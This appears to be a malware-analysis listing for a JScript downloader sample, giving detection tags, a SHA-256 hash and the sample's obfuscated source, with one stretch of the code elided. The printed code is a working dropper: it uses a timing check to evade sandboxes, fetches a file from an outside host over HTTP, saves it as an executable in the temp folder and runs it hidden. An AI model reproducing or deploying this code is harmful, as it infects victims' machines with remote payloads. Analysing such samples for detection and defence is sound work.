20160328_a147492fa6e385edfb251e64ac88f5de.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256227a24f4474c0056f68ac679c63153fe64bb438af04d69a6aae5544847ff09c7
Evidence
1var Hiaxbimdh = false;
2var Gltktfssi = "CreateObject";
3var Cutdsq = function Hlqrhmrb() {return WScript[Gltktfssi]("WScript.Shell");}();
4var Hegzcsrtkn = 123213;
5var Xebrktg = "MSXML2.XMLHTTP";
6var Hnuuaolz = 2123213;
7var Dnlfftsddx = 0;
8function Kaifp(Vrbel){Cutdsq["Run"](Vrbel, Dnlfftsddx, Dnlfftsddx);};
9function Ljnfbolca(){return Xebrktg;};
10function Deuxmoade(Iqyevbrix, Uacwmz){return Iqyevbrix - Uacwmz;};
11function Aceriidxy(){return Gltktfssi;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Hiaxbimdh = true;
15 @end
16@*/
17var Ghand = "";
18if (Hiaxbimdh)
19{
20function Wyqcjxlgz(){return 22;};
21var Ynmja = 0; var Lojlqt = 0;
22function Oelrbjgoze()
23{
24var Cenxjywla = new this["Date"]();
25var Vvriwz = Cenxjywla["getUTCMilliseconds"]();
26WScript["Sleep"](Wyqcjxlgz());
27var Cenxjywla = new this["Date"]();
28var Cunqdqtu = Cenxjywla["getUTCMilliseconds"]();
29WScript["Sleep"](Wyqcjxlgz());
30var Cenxjywla = new this["Date"]();
31var Ytopqwmfvw = Cenxjywla["getUTCMilliseconds"]();
32var Ynmja = "Rzgegpwu";
33Ynmja = Deuxmoade(Cunqdqtu, Vvriwz);
34var Lojlqt = "Cibseoeyw";
35Lojlqt = Deuxmoade(Ytopqwmfvw, Cunqdqtu);
36Ghand = "open";
37return Deuxmoade(Ynmja, Lojlqt);
38}
39var Ahdnxrwzr = false;
40var Xxzekbbz = false;
41for (var Cgfjsagju = Dnlfftsddx; Cgfjsagju < Wyqcjxlgz() * 1; Cgfjsagju++){if (Oelrbjgoze() != Dnlfft …
49:9… xrwzr && Sqjaghrwv() && Xxzekbbz){
50function Hntafevd() {return Cutdsq["ExpandEnvironmentStrings"]("%TEMP%/") + "7yFGvQ5kiHEWMoaB.exe";};
51 Ahxsnvtcnp = Ljnfbolca();
52 Uynubptru = WScript[Gltktfssi](Ahxsnvtcnp);
53 var Omwqhq = 1;
54 while (Omwqhq){
55try {
56Uynubptru[Ghand]("GET", "http://dukeplasticslab.com/j47akfa", false);
57Uynubptru["send"]();
58Uloeh = "Sleep";
59do {WScript[Uloeh](Wyqcjxlgz() * 11)} while (Uynubptru["readystate"] < 4 );
60Omwqhq = Dnlfftsddx;
61} catch(Peztbgyejm){Omwqhq = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Zqlnkae(Bmbmadopxb) {var Wibre = (1, 2, 3, 4, 5, Bmbmadopxb); return Wibre;};
64Pmvychw = WScript[Aceriidxy()]("ADODB.Stream");
65Ahxsnvtcnp = Pmvychw;
66Ahxsnvtcnp[Ghand]();
67Ahxsnvtcnp["type"] = Zqlnkae(1);
68Ahxsnvtcnp["write"](Uynubptru["ResponseBody"]);
69Pmvychw["position"] = Zqlnkae(Dnlfftsddx);
70Ahxsnvtcnp["SaveToFile"](Hntafevd(), Zqlnkae(2) );
71Pmvychw["close"]();
72Kaifp(Hntafevd());
73}
74}
75